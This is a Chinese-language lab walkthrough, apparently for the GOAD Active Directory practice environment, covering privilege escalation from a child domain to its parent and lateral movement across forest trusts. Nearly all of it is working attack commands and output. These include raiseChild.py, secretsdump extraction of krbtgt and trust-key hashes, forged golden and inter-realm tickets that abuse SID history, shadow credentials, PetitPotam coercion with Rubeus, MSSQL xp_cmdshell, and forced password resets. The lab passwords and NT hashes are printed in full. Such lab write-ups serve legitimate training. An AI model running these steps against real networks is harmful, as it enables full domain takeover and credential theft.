因为先知的长度限制,拆成了多个文章
这篇文章将与域信任(从子域到父域)和森林到森林信任横的向移动有关。
有关域信任的攻击推荐阅读这篇文章:https://harmj0y.medium.com/a-guide-to-attacking-domain-trusts-ef5f8992bb9d
作者做了一些更新 如果环境部署的比较早的话需要执行ansible更新
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-data.yml -l dc01
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-acl.yml -l dc01
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-relations.yml -l dc01
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook vulnerabilities.yml -l dc01
The last one is to allow sid history and it is just like this command :
ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap://192.168.56.10 trusts ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap://192.168.56.12 trusts
FOREST_TRANSITIVE | TREAT_AS_EXTERNAL
,因为Sid history开启了FOREST_TRANSITIVE
(objectCategory=trustedDomain)
MATCH p=(n:Domain)-->(m:Domain) RETURN p
(从图里怎么区分的域信任和森林信任?)
正如微软所说,域信任不是安全边界
要从子域升级到父域,最简单的方法是使用 impacket 的 raiseChild.py 脚本,这将为我们完成所有工作。
raiseChild.py north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'
raiseChild.py north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!' Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra [*] Raising child domain north.sevenkingdoms.local [*] Forest FQDN is: sevenkingdoms.local [*] Raising north.sevenkingdoms.local to sevenkingdoms.local [*] sevenkingdoms.local Enterprise Admin SID is: S-1-5-21-1567764229-28288292-3181328809-519 [*] Getting credentials for north.sevenkingdoms.local north.sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:550201c2dd93a01f9c8118ae2db60bc8::: north.sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:863f950ee6b88356ff6af857e506edb0a9e0597896d0b26ca3ec246200ef2ace [*] Getting credentials for sevenkingdoms.local sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bcffbe71ca9aaf60bf2a4eb474e8f756::: sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:8b06113431a058395e933c37b236d42094771d7ff0bcec899466e19a34fc8c33 [*] Target User account name is Administrator sevenkingdoms.local/Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e::: sevenkingdoms.local/Administrator:aes256-cts-hmac-sha1-96s:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48efdd56424e1206e581e4dd827
cme smb 192.168.56.10 -u Administrator -H ':c66d72021a2d4744409969a581a1705e' -d sevenkingdoms.local
# dump child ntds and get krbtgt NT hash secretsdump.py -just-dc-user north/krbtgt north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11
secretsdump.py -just-dc-user north/krbtgt north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11 Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets krbtgt:502:aad3b435b51404eeaad3b435b51404ee:550201c2dd93a01f9c8118ae2db60bc8::: [*] Kerberos keys grabbed krbtgt:aes256-cts-hmac-sha1-96:863f950ee6b88356ff6af857e506edb0a9e0597896d0b26ca3ec246200ef2ace krbtgt:aes128-cts-hmac-sha1-96:25539e611082c815e6c38db861c84ad2 krbtgt:des-cbc-md5:c2078aef5401fba4 [*] Cleaning up...
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:550201c2dd93a01f9c8118ae2db60bc8:::
# dump child domain SID lookupsid.py -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11 0 [*] Domain SID is: S-1-5-21-3279614554-4259096442-670903954 # dump parent domain SID lookupsid.py -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.10 0 [*] Domain SID is: S-1-5-21-1567764229-28288292-3181328809
ticketer.py -nthash 550201c2dd93a01f9c8118ae2db60bc8 \ -domain-sid S-1-5-21-3279614554-4259096442-670903954 \ -domain north.sevenkingdoms.local \ -extra-sid S-1-5-21-1567764229-28288292-3181328809-519 \ goldenuser
export KRB5CCNAME=goldenuser.ccache secretsdump.py -k -no-pass -just-dc-ntlm north.sevenkingdoms.local/[email protected]
secretsdump.py -just-dc-user 'SEVENKINGDOMS$' north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11
ticketer.py -nthash dc328273a32f874ea6e0ad46c6b9db4e \ -domain-sid S-1-5-21-3279614554-4259096442-670903954 \ -domain north.sevenkingdoms.local \ -extra-sid S-1-5-21-1567764229-28288292-3181328809-519 \ -spn krbtgt/sevenkingdoms.local trustfakeuser
export KRB5CCNAME=trustfakeuser.ccache getST.py -k -no-pass -spn cifs/kingslanding.sevenkingdoms.local sevenkingdoms.local/[email protected] -debug
如果 krbtgt 密码已更改 2 次,此技术甚至仍可以使用!
MATCH p = (a:Domain)-[:Contains*1..]->(x)-->(w)-->(z)<--(y)<-[:Contains*1..]-(b:Domain) where (x:Container or x:OU) and (y:Container or y:OU) and (a.name <>b.name) and (tolower(w.samaccountname) <> "enterprise admins" and tolower(w.samaccountname) <> "enterprise key admins" and tolower(z.samaccountname) <> "enterprise admins" and tolower(z.samaccountname) <> "enterprise key admins") RETURN p
请注意,bloodhound 也有按钮可以直接在界面中搜索外部的组和用户。
- 由于您之前已经完成了 acl 部分,因此您将很容易找到利用它的方法。 (shadow credentials/target kerberoasting/change password/...),但由于它是跨域的,我们将首先做
sevenkingdoms 到 essos域 : spys 组
net rpc password jorah.mormont -U sevenkingdoms.local/petyer.baelish%@[email protected] -S meereen.essos.local Enter new password for jorah.mormont: <here we enter [email protected]>
certipy shadow add -u [email protected] -p '@[email protected]' -dc-ip 192.168.56.12 -target meereen.essos.local -account 'jorah.mormont' certipy auth -pfx jorah.mormont.pfx -username jorah.mormont -domain essos.local -dc-ip 192.168.56.12
essos 到 sevenkingdoms 域 : accros_thenarrowsea 组
请注意,AD组并不完全相同。 有 3 种类型的安全组:https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups
- Universal
- Global
- Domain Local
如果一个组包含受信任域的成员,则它必须是Domain Local类型。
Groups scope informations are well explained by harmj0y here
xfreerdp /d:sevenkingdoms.local /u:cersei.lannister /p:'il0vejaime' /v:192.168.56.10 /size:80% /cert-ignore
powershell右键没有以管理员身份运行 手动执行
Start-Process powershell -Verb runas
.\Rubeus.exe monitor /filteruser:MEEREEN$ /interval:1
python PetitPotam.py -u arya.stark -p Needle -d north.sevenkingdoms.local kingslanding.sevenkingdoms.local meereen.essos.local
base64 -d rubeus.b64 > meereen.kirbi ticketConverter.py meereen.kirbi meereen.ccache export KRB5CCNAME=meereen.ccache secretsdump.py -k -no-pass -just-dc-ntlm essos.local/'MEEREEN$'@meereen.essos.local
记得要使用这个版本的mssqlclient
git clone https://github.com/SecureAuthCorp/impacket myimpacketmssql cd myimpacketmssql git fetch origin pull/1397/head:1397 git merge 1397 conda create -n myimpacketmssql python=3.7.9 conda activate myimpacketmssql pip install .
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:[email protected]
use_link BRAAVOS enable_xp_cmdshell xp_cmdshell whoami
This attack can be done only because SID history is enabled on the sevenkingdoms->essos trust
- 使用 lookupsid.py 查找域 sid
- essos SID : S-1-5-21-3423050016-132928348-776069566
- sevenkingdoms SID:S-1-5-21-1567764229-28288292-3181328809
secretsdump.py -just-dc-user 'essos/krbtgt' essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.56.12 Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets krbtgt:502:aad3b435b51404eeaad3b435b51404ee:efcae598b59a44ecf315b457389fb7eb::: ...
关于 sid 过滤,dirkjanm 在他的博客上说:“这对攻击者来说意味着,如果跨森林信任启用 SID 历史记录,您可以欺骗任何 RID >1000 组!” https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/
- dragonrider 组是一个完美的匹配(在真实的审计交流组中通常是一个很好的目标)
ticketer.py -nthash efcae598b59a44ecf315b457389fb7eb \ -domain-sid S-1-5-21-3423050016-132928348-776069566 \ -domain essos.local \ -extra-sid S-1-5-21-1567764229-28288292-3181328809-1124 \ dragon
secretsdump.py -just-dc-user 'SEVENKINGDOMS$' essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.56.12 Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:c34bd97b856e4f5c8ba0c3e89079ea55::: ...
ticketer.py -nthash c34bd97b856e4f5c8ba0c3e89079ea55 \ -domain-sid S-1-5-21-3423050016-132928348-776069566 \ -domain essos.local \ -extra-sid S-1-5-21-1567764229-28288292-3181328809-1124 \ -spn krbtgt/sevenkingdoms.local trustdragon
export KRB5CCNAME=trustdragon.ccache getST.py -k -no-pass -spn cifs/kingslanding.sevenkingdoms.local sevenkingdoms.local/[email protected] -debug
S-1-5-21-1567764229-28288292-3181328809-1110
mimikatz # kerberos::golden /user:guard /domain:essos.local /sid:S-1-5-21-3423050016-132928348-776069566 /krbtgt:efcae598b59a44ecf315b457389fb7eb /sids:S-1-5-21-1567764229-28288292-3181328809-1110 /ptt
PowerSploit/PowerView.ps1 at dev · PowerShellMafia/PowerSploit
Import-Module .\powerview.ps1 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force Set-DomainUserPassword -Identity stannis.baratheon -AccountPassword $SecPassword -Domain sevenkingdoms.local
cme smb 192.168.56.10 -u stannis.baratheon -p Password123! -d sevenkingdoms.local